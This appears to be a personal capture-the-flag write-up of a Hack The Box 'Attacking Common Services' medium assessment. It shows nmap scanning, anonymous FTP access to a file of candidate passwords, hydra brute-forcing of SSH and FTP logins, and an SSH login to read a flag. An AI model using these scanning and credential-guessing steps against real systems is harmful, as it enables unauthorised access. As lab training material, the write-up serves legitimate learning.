piwww
Skill Assessment - Attacking Common Services - Medium
#ftp#htb#skillassessment#medium#ssh#hydra
What We Know

- We know the port might likely be more than 1000 coz it say rarely and used for testing purpose. So we might need to scan more than 1000 port
Initial Recon
- We start by recon first using nmap
nmap -p- --min-rate 10000 10.129.235.253
# Output Example
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
110/tcp open pop3
995/tcp open pop3s
2121/tcp open ccproxy-ftp
30021/tcp open unknown
Further Recon
- We discover some ssh, 2 mailing services, a ftp services and some unknown service.
- The last port is weird. So lets try scan that one only
nmap -sC -sV -p 30021 10.129.235.253
# Example Output
PORT STATE SERVICE VERSION
30021/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Apr 18 2022 simon
- Ok its a ftp service that allow anonymous login and we got simon directory inside it. So start connecting to the ftp service first
Connecting to ftp
ftp 10.129.235.253 -p 30021
# cd to simon and get what inside of it
Connected to 10.129.235.253.
220 ProFTPD Server (Internal FTP) [10.129.235.253]
Name (10.129.235.253:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||9377|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 ftp ftp 4096 Apr 18 2022 simon
226 Transfer complete
ftp> cd simon
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||12633|)
150 Opening ASCII mode data connection for file list
-rw-rw-r-- 1 ftp ftp 153 Apr 18 2022 mynotes.txt
226 Transfer complete
ftp> get mynotes.txt
local: mynotes.txt remote: mynotes.txt
229 Entering Extended Passive Mode (|||25050|)
150 Opening BINARY mode data connection for mynotes.txt (153 bytes)
100% |****************************************************| 153 284.05 KiB/s 00:00 ETA
226 Transfer complete
153 bytes received in 00:00 (0.48 KiB/s)
- If you open the file we got some password looks alike. We can assume it might be simon pass
cat mynotes.txt
234987123948729384293
+23358093845098
ThatsMyBigDog
Rock!ng#May
Puuuuuh7823328
8Ns8j1b!23hs4921smHzwn
237oHs71ohls18H127!!9skaP
238u1xjn1923nZGSb261Bs81
Brute forcing services
- But the question is what services its for. I tried ssh and did try the ftp for port 2121 both give the same password so you can do either both
hydra -l simon -P mynotes.txt ssh://10.129.235.253:22
# Example output
[22][ssh] host: 10.129.235.253 login: simon password: 8Ns8j1b!23hs4921smHzwn
hydra -l simon -P mynotes.txt ftp://10.129.235.253:2121
# Example Output
[2121][ftp] host: 10.129.235.253 login: simon password: 8Ns8j1b!23hs4921smHzwn
Connecting to SSH
- Im going with ssh instead
ssh simon@10.129.235.253
simon@lin-medium:~$
simon@lin-medium:~$ ls
flag.txt Maildir
simon@lin-medium:~$ cat flag.txt
